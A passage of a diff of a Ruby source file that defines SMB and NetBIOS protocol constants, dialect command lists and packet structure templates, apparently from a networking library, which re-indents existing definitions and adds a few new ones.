FILE_DEVICE_NETWORK_BROWSER = 0x00000013 + FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 + FILE_DEVICE_NULL = 0x00000015 + FILE_DEVICE_PARALLEL_PORT = 0x00000016 + FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 + FILE_DEVICE_PRINTER = 0x00000018 + FILE_DEVICE_SCANNER = 0x00000019 + FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001A + FILE_DEVICE_SERIAL_PORT = 0x0000001B + FILE_DEVICE_SCREEN = 0x0000001C + FILE_DEVICE_SOUND = 0x0000001D + FILE_DEVICE_STREAMS = 0x0000001E + FILE_DEVICE_TAPE = 0x0000001F + FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 + FILE_DEVICE_TRANSPORT = 0x00000021 + FILE_DEVICE_UNKNOWN = 0x00000022 + FILE_DEVICE_VIDEO = 0x00000023 + FILE_DEVICE_VIRTUAL_DISK = 0x00000024 + FILE_DEVICE_WAVE_IN = 0x00000025 + FILE_DEVICE_WAVE_OUT = 0x00000026 + FILE_DEVICE_8042_PORT = 0x00000027 + FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 + FILE_DEVICE_BATTERY = 0x00000029 + FILE_DEVICE_BUS_EXTENDER = 0x0000002A + FILE_DEVICE_MODEM = 0x0000002B + FILE_DEVICE_VDM = 0x0000002C + + # File and Device Attributes + FILE_REMOVABLE_MEDIA = 0x00000001 + FILE_READ_ONLY_DEVICE = 0x00000002 + FILE_FLOPPY_DISKETTE = 0x00000004 + FILE_WRITE_ONE_MEDIA = 0x00000008 + FILE_REMOTE_DEVICE = 0x00000010 + FILE_DEVICE_IS_MOUNTED = 0x00000020 + FILE_VIRTUAL_VOLUME = 0x00000040 + FILE_CASE_SENSITIVE_SEARCH = 0x00000001 + FILE_CASE_PRESERVED_NAMES = 0x00000002 + FILE_PERSISTENT_ACLS = 0x00000004 + FILE_FILE_COMPRESSION = 0x00000008 + FILE_VOLUME_QUOTAS = 0x00000010 + FILE_VOLUME_IS_COMPRESSED = 0x00008000 + + # SMB_EXT_FILE_ATTR + # http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx + SMB_EXT_FILE_ATTR_READONLY = 0x00000001 + SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 + SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 + SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 + SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 + SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 + SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 + SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 + SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 + SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 + SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 + SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 + SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 + SMB_EXT_FILE_NO_BUFFERING = 0x20000000 + SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 + + # SMB Error Codes + SMB_STATUS_SUCCESS = 0x00000000 + SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 + SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 + SMB_STATUS_ACCESS_DENIED = 0xC0000022 + SMB_STATUS_LOGON_FAILURE = 0xC000006D + SMB_STATUS_NO_SUCH_FILE = 0xC000000F + SMB_STATUS_OBJECT_NAME_NOT_FOUND = 0xc0000034 + SMB_NT_STATUS_NOT_FOUND = 0xc0000225 + + # SMB Resource types + SMB_RESOURCE_FILE_TYPE_DISK = 0x0000 + SMB_RESOURCE_FILE_TYPE_BYTE_MODE_PIPE = 0x0001 + SMB_RESOURCE_FILE_TYPE_MESSAGE_MODE_PIPE = 0x0002 + SMB_RESOURCE_FILE_TYPE_PRINTER = 0x0003 + SMB_RESOURCE_FILE_TYPE_COMM_DEVICE = 0x0004 + + # Word count values + SMB_NEGOTIATE_RES_WORD_COUNT = 0x11 + SMB_CLOSE_RES_WORD_COUNT = 0x00 + SMB_NT_CREATE_ANDX_RES_WORD_COUNT = 0x22 + SMB_READ_ANDX_RES_WORD_COUNT = 0x0c + SMB_TREE_CONN_ANDX_WORD_COUNT = 0x07 + SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT = 0x03 + SMB_TRANS2_RES_WORD_COUNT = 0x0a + + # SMB Dialect Compatibility + DIALECT = {} + + DIALECT['PC NETWORK PROGRAM 1.0'] = [ + SMB_COM_CHECK_DIRECTORY, + SMB_COM_CLOSE, + SMB_COM_CLOSE_PRINT_FILE, + SMB_COM_CREATE, + SMB_COM_CREATE_DIRECTORY, + SMB_COM_CREATE_NEW, + SMB_COM_CREATE_TEMPORARY, + SMB_COM_DELETE, + SMB_COM_DELETE_DIRECTORY, + SMB_COM_FLUSH, + SMB_COM_GET_PRINT_QUEUE, + SMB_COM_LOCK_BYTE_RANGE, + SMB_COM_NEGOTIATE, + SMB_COM_OPEN, + SMB_COM_OPEN_PRINT_FILE, + SMB_COM_PROCESS_EXIT, + SMB_COM_QUERY_INFORMATION, + SMB_COM_QUERY_INFORMATION_DISK, + SMB_COM_READ, + SMB_COM_RENAME, + SMB_COM_SEARCH, + SMB_COM_SEEK, + SMB_COM_SET_INFORMATION, + SMB_COM_TREE_CONNECT, + SMB_COM_TREE_DISCONNECT, + SMB_COM_UNLOCK_BYTE_RANGE, + SMB_COM_WRITE, + SMB_COM_WRITE_PRINT_FILE + ] + + DIALECT['LANMAN 1.0'] = DIALECT['PC NETWORK PROGRAM 1.0'] + [ + SMB_COM_COPY, + SMB_COM_ECHO, + SMB_COM_FIND, + SMB_COM_FIND_CLOSE, + SMB_COM_FIND_UNIQUE, + SMB_COM_IOCTL, + SMB_COM_IOCTL_SECONDARY, + SMB_COM_LOCK_AND_READ, + SMB_COM_LOCKING_ANDX, + SMB_COM_MOVE, + SMB_COM_OPEN_ANDX, + SMB_COM_QUERY_INFORMATION2, + SMB_COM_READ_ANDX, + SMB_COM_READ_MPX, + SMB_COM_READ_RAW, + SMB_COM_SESSION_SETUP_ANDX, + SMB_COM_SET_INFORMATION2, + SMB_COM_TRANSACTION, + SMB_COM_TRANSACTION_SECONDARY, + SMB_COM_TREE_CONNECT_ANDX, + SMB_COM_WRITE_AND_CLOSE, + SMB_COM_WRITE_AND_UNLOCK, + SMB_COM_WRITE_ANDX, + SMB_COM_WRITE_COMPLETE, + SMB_COM_WRITE_MPX, + SMB_COM_WRITE_MPX_SECONDARY, + SMB_COM_WRITE_RAW + ] + + DIALECT['LM1.2X002'] = DIALECT['LANMAN 1.0'] + [ + SMB_COM_FIND_CLOSE2, + SMB_COM_LOGOFF_ANDX, + SMB_COM_TRANSACTION2, + SMB_COM_TRANSACTION2_SECONDARY + ] + + DIALECT['NTLM 0.12'] = DIALECT['LM1.2X002'] + [ + SMB_COM_NT_CANCEL, + SMB_COM_NT_CREATE_ANDX, + SMB_COM_NT_RENAME, + SMB_COM_NT_TRANSACT, + SMB_COM_NT_TRANSACT_SECONDARY + ] + + # Create a NetBIOS session packet template + def self.make_nbs (template) + Rex::Struct2::CStructTemplate.new( + [ 'uint8', 'Type', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint16n', 'PayloadLen', 0 ], + [ 'template', 'Payload', template ] + ).create_restraints( + [ 'Payload', 'PayloadLen', nil, true ] + ) + end -# SMB_COM_TRANSACTION2 Commands -TRANS2_OPEN2 = 0 -TRANS2_FIND_FIRST2 = 1 -TRANS2_FIND_NEXT2 = 2 -TRANS2_QUERY_FS_INFO = 3 -TRANS2_SET_PATH_INFO = 6 - -TRANS2_CREATE_DIRECTORY = 13 - -# SMB_COM_TRANSACTION2 QUERY_FS_INFO information levels -SMB_INFO_ALLOCATION = 1 -SMB_INFO_VOLUME = 2 -SMB_QUERY_FS_VOLUME_INFO = 0x102 -SMB_QUERY_FS_SIZE_INFO = 0x103 -SMB_QUERY_FS_DEVICE_INFO = 0x104 -SMB_QUERY_FS_ATTRIBUTE_INFO = 0x105 - -# SMB_COM_TRANSACTION2 QUERY_PATH_INFO information levels -SMB_INFO_STANDARD = 1 -SMB_INFO_QUERY_EA_SIZE = 2 -SMB_INFO_QUERY_EAS_FROM_LIST = 3 -SMB_INFO_QUERY_ALL_EAS = 4 -SMB_INFO_IS_NAME_VALID = 6 -SMB_QUERY_FILE_BASIC_INFO = 0x101 -SMB_QUERY_FILE_STANDARD_INFO = 0x102 -SMB_QUERY_FILE_EA_INFO = 0x103 -SMB_QUERY_FILE_NAME_INFO = 0x104 -SMB_QUERY_FILE_ALL_INFO = 0x107 -SMB_QUERY_FILE_ALT_NAME_INFO = 0x108 -SMB_QUERY_FILE_STREAM_INFO = 0x109 -SMB_QUERY_FILE_COMPRESSION_INFO = 0x10B -SMB_QUERY_FILE_UNIX_BASIC = 0x200 -SMB_QUERY_FILE_UNIX_LINK = 0x201 -SMB_INFO_PASSTHROUGH = 0x1000 - - -# Device Types -FILE_DEVICE_BEEP = 0x00000001 -FILE_DEVICE_CD_ROM = 0x00000002 -FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 -FILE_DEVICE_CONTROLLER = 0x00000004 -FILE_DEVICE_DATALINK = 0x00000005 -FILE_DEVICE_DFS = 0x00000006 -FILE_DEVICE_DISK = 0x00000007 -FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 -FILE_DEVICE_FILE_SYSTEM = 0x00000009 -FILE_DEVICE_INPORT_PORT = 0x0000000A -FILE_DEVICE_KEYBOARD = 0x0000000B -FILE_DEVICE_MAILSLOT = 0x0000000C -FILE_DEVICE_MIDI_IN = 0x0000000D -FILE_DEVICE_MIDI_OUT = 0x0000000E -FILE_DEVICE_MOUSE = 0x0000000F -FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 -FILE_DEVICE_NAMED_PIPE = 0x00000011 -FILE_DEVICE_NETWORK = 0x00000012 -FILE_DEVICE_NETWORK_BROWSER = 0x00000013 -FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 -FILE_DEVICE_NULL = 0x00000015 -FILE_DEVICE_PARALLEL_PORT = 0x00000016 -FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 -FILE_DEVICE_PRINTER = 0x00000018 -FILE_DEVICE_SCANNER = 0x00000019 -FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001A -FILE_DEVICE_SERIAL_PORT = 0x0000001B -FILE_DEVICE_SCREEN = 0x0000001C -FILE_DEVICE_SOUND = 0x0000001D -FILE_DEVICE_STREAMS = 0x0000001E -FILE_DEVICE_TAPE = 0x0000001F -FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 -FILE_DEVICE_TRANSPORT = 0x00000021 -FILE_DEVICE_UNKNOWN = 0x00000022 -FILE_DEVICE_VIDEO = 0x00000023 -FILE_DEVICE_VIRTUAL_DISK = 0x00000024 -FILE_DEVICE_WAVE_IN = 0x00000025 -FILE_DEVICE_WAVE_OUT = 0x00000026 -FILE_DEVICE_8042_PORT = 0x00000027 -FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 -FILE_DEVICE_BATTERY = 0x00000029 -FILE_DEVICE_BUS_EXTENDER = 0x0000002A -FILE_DEVICE_MODEM = 0x0000002B -FILE_DEVICE_VDM = 0x0000002C - -# File and Device Attributes -FILE_REMOVABLE_MEDIA = 0x00000001 -FILE_READ_ONLY_DEVICE = 0x00000002 -FILE_FLOPPY_DISKETTE = 0x00000004 -FILE_WRITE_ONE_MEDIA = 0x00000008 -FILE_REMOTE_DEVICE = 0x00000010 -FILE_DEVICE_IS_MOUNTED = 0x00000020 -FILE_VIRTUAL_VOLUME = 0x00000040 -FILE_CASE_SENSITIVE_SEARCH = 0x00000001 -FILE_CASE_PRESERVED_NAMES = 0x00000002 -FILE_PERSISTENT_ACLS = 0x00000004 -FILE_FILE_COMPRESSION = 0x00000008 -FILE_VOLUME_QUOTAS = 0x00000010 -FILE_VOLUME_IS_COMPRESSED = 0x00008000 - -# SMB_EXT_FILE_ATTR -# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx -SMB_EXT_FILE_ATTR_READONLY = 0x00000001 -SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 -SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 -SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 -SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 -SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 -SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 -SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 -SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 -SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 -SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 -SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 -SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 -SMB_EXT_FILE_NO_BUFFERING = 0x20000000 -SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 - -# SMB Error Codes -SMB_STATUS_SUCCESS = 0x00000000 -SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 -SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 -SMB_STATUS_ACCESS_DENIED = 0xC0000022 -SMB_STATUS_LOGON_FAILURE = 0xC000006D - -# SMB Dialect Compatibility -DIALECT = {} - -DIALECT['PC NETWORK PROGRAM 1.0'] = [ - SMB_COM_CHECK_DIRECTORY, - SMB_COM_CLOSE, - SMB_COM_CLOSE_PRINT_FILE, - SMB_COM_CREATE, - SMB_COM_CREATE_DIRECTORY, - SMB_COM_CREATE_NEW, - SMB_COM_CREATE_TEMPORARY, - SMB_COM_DELETE, - SMB_COM_DELETE_DIRECTORY, - SMB_COM_FLUSH, - SMB_COM_GET_PRINT_QUEUE, - SMB_COM_LOCK_BYTE_RANGE, - SMB_COM_NEGOTIATE, - SMB_COM_OPEN, - SMB_COM_OPEN_PRINT_FILE, - SMB_COM_PROCESS_EXIT, - SMB_COM_QUERY_INFORMATION, - SMB_COM_QUERY_INFORMATION_DISK, - SMB_COM_READ, - SMB_COM_RENAME, - SMB_COM_SEARCH, - SMB_COM_SEEK, - SMB_COM_SET_INFORMATION, - SMB_COM_TREE_CONNECT, - SMB_COM_TREE_DISCONNECT, - SMB_COM_UNLOCK_BYTE_RANGE, - SMB_COM_WRITE, - SMB_COM_WRITE_PRINT_FILE -] - -DIALECT['LANMAN 1.0'] = DIALECT['PC NETWORK PROGRAM 1.0'] + [ - SMB_COM_COPY, - SMB_COM_ECHO, - SMB_COM_FIND, - SMB_COM_FIND_CLOSE, - SMB_COM_FIND_UNIQUE, - SMB_COM_IOCTL, - SMB_COM_IOCTL_SECONDARY, - SMB_COM_LOCK_AND_READ, - SMB_COM_LOCKING_ANDX, - SMB_COM_MOVE, - SMB_COM_OPEN_ANDX, - SMB_COM_QUERY_INFORMATION2, - SMB_COM_READ_ANDX, - SMB_COM_READ_MPX, - SMB_COM_READ_RAW, - SMB_COM_SESSION_SETUP_ANDX, - SMB_COM_SET_INFORMATION2, - SMB_COM_TRANSACTION, - SMB_COM_TRANSACTION_SECONDARY, - SMB_COM_TREE_CONNECT_ANDX, - SMB_COM_WRITE_AND_CLOSE, - SMB_COM_WRITE_AND_UNLOCK, - SMB_COM_WRITE_ANDX, - SMB_COM_WRITE_COMPLETE, - SMB_COM_WRITE_MPX, - SMB_COM_WRITE_MPX_SECONDARY, - SMB_COM_WRITE_RAW -] - -DIALECT['LM1.2X002'] = DIALECT['LANMAN 1.0'] + [ - SMB_COM_FIND_CLOSE2, - SMB_COM_LOGOFF_ANDX, - SMB_COM_TRANSACTION2, - SMB_COM_TRANSACTION2_SECONDARY -] - -DIALECT['NTLM 0.12'] = DIALECT['LM1.2X002'] + [ - SMB_COM_NT_CANCEL, - SMB_COM_NT_CREATE_ANDX, - SMB_COM_NT_RENAME, - SMB_COM_NT_TRANSACT, - SMB_COM_NT_TRANSACT_SECONDARY -] - -# Create a NetBIOS session packet template -def self.make_nbs (template) - Rex::Struct2::CStructTemplate.new( - [ 'uint8', 'Type', 0 ], - [ 'uint8', 'Flags', 0 ], - [ 'uint16n', 'PayloadLen', 0 ], - [ 'template', 'Payload', template ] - ).create_restraints( - [ 'Payload', 'PayloadLen', nil, true ] + # A raw NetBIOS session template + NBRAW_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'string', 'Payload', nil, ''] + ) + NBRAW_PKT = self.make_nbs(NBRAW_HDR_PKT) + + + # The SMB header template + SMB_HDR = Rex::Struct2::CStructTemplate.new( + [ 'uint32n', 'Magic', 0xff534d42 ], + [ 'uint8', 'Command', 0 ], + [ 'uint32v', 'ErrorClass', 0 ], + [ 'uint8', 'Flags1', 0 ], + [ 'uint16v', 'Flags2', 0 ], + [ 'uint16v', 'ProcessIDHigh', 0 ], + [ 'uint32v', 'Signature1', 0 ], + [ 'uint32v', 'Signature2', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'TreeID', 0 ], + [ 'uint16v', 'ProcessID', 0 ], + [ 'uint16v', 'UserID', 0 ], + [ 'uint16v', 'MultiplexID', 0 ], + [ 'uint8', 'WordCount', 0 ] + ) + + SMB_HDR_LENGTH = 33 + + # The SMB2 header template + SMB2_HDR = Rex::Struct2::CStructTemplate.new( + [ 'uint32n', 'Magic', 0xfe534d42 ], + [ 'uint16v', 'HeaderLen', 64 ], + [ 'uint16v', 'Reserved0', 0 ], + [ 'uint32v', 'NTStatus', 0 ], + + [ 'uint16v', 'Opcode', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + + [ 'uint16v', 'Flags1', 0 ], + [ 'uint16v', 'Flags2', 0 ], + + [ 'uint32v', 'ChainOffset', 0 ], + + [ 'uint32v', 'SequenceHigh', 0 ], + [ 'uint32v', 'SequenceLow', 0 ], + + [ 'uint32v', 'ProcessID', 0 ], + [ 'uint32v', 'TreeID', 0 ], + [ 'uint32v', 'UserIDHigh', 0 ], + [ 'uint32v', 'UserIDLow', 0 ], + + [ 'uint32v', 'SignatureA', 0 ], + [ 'uint32v', 'SignatureB', 0 ], + [ 'uint32v', 'SignatureC', 0 ], + [ 'uint32v', 'SignatureD', 0 ], + [ 'string', 'Payload', nil, ''] + ) + + # A basic SMB template to read all responses + SMB_BASE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_BASE_PKT = self.make_nbs(SMB_BASE_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation + SMB_NEG_HDR_PKT = Rex::Struct2::CStructTemplate.new( + + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NEG_PKT = self.make_nbs(SMB_NEG_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (LANMAN) + SMB_NEG_RES_LM_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint16v', 'SecurityMode', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'MaxVCS', 0 ], + [ 'uint16v', 'RawMode', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'DosTime', 0 ], + [ 'uint16v', 'DosDate', 0 ], + [ 'uint16v', 'Timezone', 0 ], + [ 'uint16v', 'KeyLength', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'EncryptionKey', nil, '' ] + ).create_restraints( + [ 'EncryptionKey', 'ByteCount', nil, true ] + ) + SMB_NEG_RES_LM_PKT = self.make_nbs(SMB_NEG_RES_LM_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (NTLM) + SMB_NEG_RES_NT_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint8', 'SecurityMode', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'MaxVCS', 0 ], + [ 'uint32v', 'MaxBuff', 0 ], + [ 'uint32v', 'MaxRaw', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint32v', 'SystemTimeLow', 0 ], + [ 'uint32v', 'SystemTimeHigh', 0 ], + [ 'uint16v', 'ServerTimeZone', 0 ], + [ 'uint8', 'KeyLength', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NEG_RES_NT_PKT = self.make_nbs(SMB_NEG_RES_NT_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (ERROR) + SMB_NEG_RES_ERR_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint16v', 'ByteCount', 0 ] + ) + SMB_NEG_RES_ERR_PKT = self.make_nbs(SMB_NEG_RES_ERR_HDR_PKT) + + + # A SMB template for SMB Session Setup responses (LANMAN/NTLMV1) + SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_RES_PKT = self.make_nbs(SMB_SETUP_RES_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (LANMAN) + SMB_SETUP_LANMAN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'PasswordLen', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_LANMAN_PKT = self.make_nbs(SMB_SETUP_LANMAN_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (NTLMV1) + SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'PasswordLenLM', 0 ], + [ 'uint16v', 'PasswordLenNT', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (When extended security is being used) + SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'SecurityBlobLen', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT) + + + # A SMB template for SMB Session Setup responses (When extended security is being used) + SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint16v', 'SecurityBlobLen', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV2_RES_PKT = self.make_nbs(SMB_SETUP_NTLMV2_RES_HDR_PKT) + + + # A SMB template for SMB Tree Connect requests + SMB_TREE_CONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint16v', 'PasswordLen', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_CONN_PKT = self.make_nbs(SMB_TREE_CONN_HDR_PKT) + + + # A SMB template for SMB Tree Connect requests + SMB_TREE_CONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'OptionalSupport', 0 ], + [ 'string', 'SupportWords', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_CONN_RES_PKT = self.make_nbs(SMB_TREE_CONN_RES_HDR_PKT) + + + # A SMB template for SMB Tree Disconnect requests + SMB_TREE_DISCONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_DISCONN_PKT = self.make_nbs(SMB_TREE_DISCONN_HDR_PKT) + + + # A SMB template for SMB Tree Disconnect requests + SMB_TREE_DISCONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_DISCONN_RES_PKT = self.make_nbs(SMB_TREE_DISCONN_RES_HDR_PKT) + + + # A SMB template for SMB Transaction requests + SMB_TRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'ParamCountMax', 0 ], + [ 'uint16v', 'DataCountMax', 0 ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint32v', 'Timeout', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS_PKT = self.make_nbs(SMB_TRANS_HDR_PKT) + + + # A SMB template for SMB Transaction responses + SMB_TRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'ParamDisplace', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint16v', 'DataDisplace', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved2', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + 